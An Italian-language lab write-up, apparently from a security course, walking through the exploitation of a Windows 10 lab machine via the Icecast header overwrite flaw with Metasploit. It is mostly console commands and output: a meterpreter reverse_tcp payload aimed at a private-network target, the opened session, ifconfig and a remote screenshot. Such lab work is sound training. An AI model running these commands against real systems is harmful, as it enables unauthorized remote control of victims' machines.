# S7L4

## Exploit Icecast su Windows 10

L'obiettivo di questo esercizio è compromettere una macchina Windows 10 utilizzando una vulnerabilità nel software **Icecast**. Una volta ottenuto l'accesso al sistema, dovrai eseguire i seguenti passi:
Obiettivi

1. **Compromettere il sistema**: Sfruttare una vulnerabilità conosciuta nel software Icecast per ottenere l'accesso alla macchina target Windows 10.
2. **Verificare l'accesso**: Utilizzare il comando **`ipconfig`** per visualizzare l'indirizzo IP della macchina compromessa e confermare l'accesso.
3. **Eseguire uno screenshot**: Utilizzare il comando **`screenshot`** per catturare un'immagine dello schermo della macchina compromessa, confermando così la possibilità di eseguire comandi remoti.

## Esercizio pratico

Nel primo passaggio, utilizzeremo **Metasploit**, una delle piattaforme di exploit più diffuse, per identificare gli exploit disponibili contro il software **Icecast.** Utilizza il comando `search` di Metasploit per cercare exploit relativi al software **Icecast**. In questo modo verranno visualizzati tutti i moduli di exploit associati a questa applicazione.

```
msf6 > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header   2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
```

Dopo aver identificato l'exploit adatto per Icecast tramite Metasploit, il prossimo passo è configurare correttamente il payload e impostare i parametri necessari per l'attacco, inclusi l'indirizzo IP della macchina target e il proprio IP per la connessione di ritorno.

```
msf6 exploit(windows/http/icecast_header) > set payload payload/windows/meterpreter/reverse_tcp
payload ⇒ windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.145    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set RHOSTS 192.168.1.146
RHOSTS ⇒ 192.168.1.146
msf6 exploit(windows/http/icecast_header) > exploits
[-] Unknown command: exploits. Did you mean exploit? Run the help command for more details.
msf6 exploit(windows/http/icecast_header) > exploit
```

Una volta ottenuto l'accesso alla macchina Windows 10 tramite **Meterpreter**, è possibile eseguire una serie di comandi per raccogliere informazioni e verificare il successo dell'attacco. I primi due comandi utili in questa fase sono **`ipconfig`** per identificare le informazioni di rete e **`screenshot`** per catturare l'immagine dello schermo della macchina compromessa.

```
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.145:4444
[*] Sending stage (176198 bytes) to 192.168.1.146
[*] Meterpreter session 1 opened (192.168.1.145:4444 → 192.168.1.146:49862) at 2024-11-14 07:04:22 -0500

meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  4
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:1a:25:47
MTU          : 1500
IPv4 Address : 192.168.1.146
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2a0e:410:a6e9:0:54bb:9b86:f94e:3f41
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fdd7:20:bc01:9740:54bb:9b86:f94e:3f41
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : 2a0e:410:a6e9:0:a1ce:596b:96a4:1018
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fdd7:20:bc01:9740:a1ce:596b:96a4:1018
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::54bb:9b86:f94e:3f41
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  6
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:192
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter > screenshot
Screenshot saved to: /home/kali/abWbGjjn.jpeg
meterpreter >
```